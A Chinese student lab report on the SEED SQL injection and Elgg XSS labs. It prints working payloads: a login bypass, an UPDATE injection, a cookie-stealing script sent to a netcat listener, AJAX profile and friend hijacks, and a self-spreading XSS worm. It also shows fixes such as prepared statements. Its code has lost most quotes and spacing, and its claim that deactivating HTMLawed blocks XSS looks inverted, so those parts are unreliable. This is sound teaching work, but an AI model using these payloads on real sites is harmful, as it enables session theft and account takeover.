20252804 2025-2026-2 《网络攻防实践》实践十报告目录1.实践内容—1.1Web应用体系结构与安全威胁—1.2 Web应用信息收集—1.3主流Web应用攻击技术2.实践过程—2.1准备阶段—2.2 SEED SQL注入攻击与防御实验—2.3 SEED XSS跨站脚本攻击实验(Elgg)3.学习中遇到的问题及解决4.实践总结1.实践内容1.1 Web 应用体系结构与安全威胁1Web 应用体系结构分为客户端浏览器、Web 服务器、应用服务器、数据库服务器四层架构。核心流程浏览器发送 HTTP 请求 → Web 服务器接收 → 转发至应用服务器 → 应用服务器调用数据库 → 结果逐层返回。2Web 应用安全威胁分类应用层攻击SQL 注入、XSS 跨站脚本、命令注入、文件上传漏洞等。服务器攻击Web 服务器Apache/IIS漏洞、中间件漏洞。数据层攻击数据库漏洞、敏感信息泄露。客户端攻击钓鱼、恶意脚本、浏览器漏洞利用。1.2 Web 应用信息收集信息收集类型具体内容基础信息收集域名、IP、端口、服务器版本、操作系统目录与文件探测扫描后台、备份文件、配置文件、测试页面应用信息探测脚本语言、CMS 类型、数据库类型、用户账号、接口路径核心工具Nmap、DirBuster、Burp Suite、AWVS、Wappalyzer1.3 主流 Web 应用攻击技术1SQL 注入攻击原理用户输入未过滤拼接进 SQL 语句执行导致数据库被操控。攻击步骤判断注入点 → 猜解表名 / 字段 → 获取数据 → 提权 / 写文件。攻击类型联合查询、报错注入、布尔盲注、时间盲注、堆叠查询。危害数据泄露、篡改、删除服务器权限获取。2XSS 跨站脚本攻击原理向网页插入恶意脚本在用户浏览器执行窃取 Cookie、会话、信息。分类反射型一次性URL 触发存储型存入数据库持久触发DOM 型前端 DOM 解析触发危害会话劫持、钓鱼、内网探测、蠕虫传播。2.实践过程2.1 准备阶段在百度网盘或者这个链接下载SEEDUbuntu-16.04-32bit.ziphttps://seedsecuritylabs.org/lab_env.html创建新的虚拟机选择磁盘位置为SEEDUbuntu-16.04-32bit.vmdk成功安装修改主机名为自己姓名2.2 SEED SQL注入攻击与防御实验一个Web应用程序托管在www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色管理员是特权角色可以管理每个员工的个人资料信息。员工是一般角色可以查看或更新自己的个人资料信息。完成以下任务1熟悉SQL语句 已经创建了一个名为Users的数据库其中包含一个名为creditential的表。该表存储了每个员工的个人信息。在此任务中需要使用数据库来熟悉SQL查询。①登录数据库并展示库。密码为seedubuntumysql-uroot-pshow databases;②查看Users数据库和里面的表。发现确实有一个名为creditential的表。use Users;show tables;③查看credential表中的所有条目select* from credential;④输入条件查询Name为‘Boby’的相关信息。select* from credential where NameBoby;2对SELECT语句的SQL注入攻击上述Web应用存在SQL输入漏洞任务是在不知道密码的情况下登陆该Web应用程序。①浏览器打开www.SEEDLabSQLInjection.com网页。②按F12进入开发者模式任意输入用户名和密码点击登录。发现登录过程中是使用 get请求访问unsafe_home.php。③打开unsafe_home.php查看页面源代码。发现是直接将用户输入拼接到SQL语句中。这里存在典型的SQL注入漏洞。④当输入Admin#作为用户名时实际执行的SQL变为SELECT ... FROM CREDENTIAL WHERE nameAdmin#。也就是只要数据库中存在用户名为Admin的记录攻击者即可绕过密码验证获取管理员权限。3对UPDATE语句的SQL注入攻击通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。①任意输入点击保存。发现登录过程中同样使用get请求访unsafe_edit_backend.php。②打开unsafe_edit_backend.php查看页面源代码。cd/var/www/SQLInjection/catunsafe_edit_backend.php③需要注入的sql语句为UPDATE credential SET nickname$input_nickname,email$input_email,address$input_address, Password$hashed_pwd, PhoneNumber$input_phonenumber WHERE ID$id;。构造 $input_nickname的值。,Salary20252804 where nameAdmin#④发现用户名为Admin的用户薪水数据改变为前面注入的信息。4SQL对抗修复上述SQL注入攻击漏洞。①修改unsafe_home.php中的内容。这里unsafe_home.php文件默认为只读因此要先修改unsafe_home.php文件权限为可以编辑方法见3.学习中遇到的问题和解决方案$sql$conn-prepare(SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name ? and Password?;);$sql-bind_param(ss,$input_uname,$hashed_pwd);原始内容修改后内容②测试是否还存在SQL注入漏洞。输入Admin’#发现不能成功登录了说明漏洞修复成功。2.3 SEED XSS跨站脚本攻击实验(Elgg)为了演示攻击者可以利用XSS漏洞做什么我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中需要利用此漏洞对经过修改的Elgg发起XSS攻击攻击的最终目的是在用户之间传播XSS蠕虫这样无论是谁查看的受感染用户个人资料都将被感染。1发布恶意消息显示警报窗口在Elgg配置文件中嵌入一个JavaScript程序以便当另一个用户查看该配置文件时将执行JavaScript程序并显示一个警报窗口。①登录网址http://www.xsslabelgg.com使用alice用户名登陆网站密码为seedalice②点击头像进入edit profile界面。在Brief description中输入XSS攻击代码。scriptalert(20252804txc);/script③点击保存后即可显示xss攻击信息弹窗。2弹窗显示cookie信息将cookie信息显示。将Brief description中的信息更改点击保存则可以弹出cookie信息。scriptalert(document.cookie);/script3窃取受害者的cookies将cookie发送给攻击者。在命令行开启监听。将Brief description中的信息更改点击保存。再登录boby的账户查看alice账户信息时成功窃取到了boby用户的cookies。窃取当前网页的 Cookie并发送到本地 5555 端口的监听程序上。nc-l5555-vscriptdocument.write(img srchttp://127.0.0.1:5555?c escape(document.cookie));/script4成为受害者的朋友使用js程序加受害者为朋友无需受害者干预使用相关的工具了解Elgg加好友的过程。①在alice账户中选择“more”-“Members”按F12查看网络流信息选择boby添加为朋友发现编号信息。②删掉好友回到初始状态。根据上述信息构造payload在alice账户的about me中填写并保存。页面加载后会偷偷调用目标网站接口自动帮当前登录用户关注 ID 为 44或者45 的用户全程用户无感知。44代表自身45代表bobyscripttypetext/javascriptwindow.onloadfunction(){varAjaxnull;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varsendurlhttp://www.xsslabelgg.com/action/friends/add?friend45 ts token;Ajaxnew XMLHttpRequest();Ajax.open(GET,sendurl,true);Ajax.setRequestHeader(Host,www.xsslabelgg.com);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send();}/script③登录alice的主页发现已经和自己以及boby成为好友5修改受害者的信息使用js程序使得受害者在访问Alice的页面时资料无需干预却被修改。①在alice账户的about me中填写并保存。获取当前登录用户的身份信息、安全令牌构造篡改个人资料的请求自动悄悄发送请求把用户简介改成This have been cracked by 20252804tangxinci.scripttypetext/javascriptwindow.onloadfunction(){//JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token varuserNameelgg.session.user.name;varguidguidelgg.session.user.guid;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;varcontenttokentsnameuserNamedescriptionpThis have been cracked by 20252804tangxinci./paccesslevel[description]2briefdescriptionaccesslevel[briefdescription]2locationaccesslevel[location]2interestsaccesslevel[interests]2skillsaccesslevel[skills]2contactemailaccesslevel[contactemail]2phoneaccesslevel[phone]2mobileaccesslevel[mobile]2websiteaccesslevel[website]2twitteraccesslevel[twitter]2guid;var sendurlhttp://www.xsslabelgg.com/action/profile/edit;varaliceGuid45;if(elgg.session.user.guid!aliceGuid){//Create and send Ajax request to modify profile varAjaxnull;Ajaxnew XMLHttpRequest();Ajax.open(POST,sendurl,true);Ajax.setRequestHeader(Host,www.xsslabelgg.com);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send(content);}}/script②登录boby账户并访问alice主页后发现alice主页个人信息已经被强制更改6编写XSS蠕虫。①在alice账户的about me中填写并保存。这是一段XSS蠕虫病毒代码不仅会偷偷篡改个人资料还会把自身代码复制到个人简介里实现自我复制、无限传播访问者打开页面就会中招。scriptidwormtypetext/javascriptwindow.onloadfunction(){var headerTagscript id\worm\ type\text/javascript\;var jsCodedocument.getElementById(worm).innerHTML;var tailTag/script;var wormCodeencodeURIComponent(headerTag jsCode tailTag);varuserNameelgg.session.user.name;varguidguidelgg.session.user.guid;varts__elgg_tselgg.security.token.__elgg_ts;vartoken__elgg_tokenelgg.security.token.__elgg_token;//Construct the content of your url. varcontenttoken ts name userName descriptionp20252804tangxinci wormCode /p accesslevel[description]2briefdescriptionaccesslevel[briefdescription]2locationaccesslevel[location]2interestsaccesslevel[interests]2skillsaccesslevel[skills]2contactemailaccesslevel[contactemail]2phoneaccesslevel[phone]2mobileaccesslevel[mobile]2websiteaccesslevel[website]2twitteraccesslevel[twitter]2 guid;var sendurlhttp://www.xsslabelgg.com/action/profile/editalert(content)varaliceGuid45;if(elgg.session.user.guid!aliceGuid){varAjaxnull;Ajaxnew XMLHttpRequest();Ajax.open(POST,sendurl,true);Ajax.setRequestHeader(Host,www.xsslabelgg.com);Ajax.setRequestHeader(Content-Type,application/x-www-form-urlencoded);Ajax.send(content);}}/script②登录boby账户并访问alice主页后可以看到个人信息已经被强制修改7对抗XSS攻击。①登录admin账号链接为www.xsslabelgg.com/admin“plugin”——“HTMLawed” ——改为Deactivate 。注意跟之前登录方式不一样②重新模拟XSS攻击后发现攻击失败。3.学习中遇到的问题及解决问题1unsafe_home.php文件不可编辑导致试了很多遍都不能成功保存修改后的文件问题1解决方案文件只读修改权限为可以编辑即可解决。chmod uw unsafe_home.php问题2虚拟机里面不能粘贴本机的剪切板信息安装vm tools也没有成功问题2解决方案最后选择共享文件夹成功实现。sudomkdir-p/mnt/hgfs nautilus /mnt/hgfssudovmhgfs-fuse .host:/Desktop /mnt/hgfs-oallow_othercd/mnt/hgfsls4.实践总结本次实验我深入了解了两种常见Web漏洞的原理、攻击方式及危害。SQL注入利用用户输入未过滤的漏洞拼接恶意SQL语句可非法查询、篡改甚至删除数据库数据破坏数据安全XSS跨站脚本攻击通过注入恶意脚本代码在用户浏览器中执行窃取cookie、劫持会话、篡改页面内容。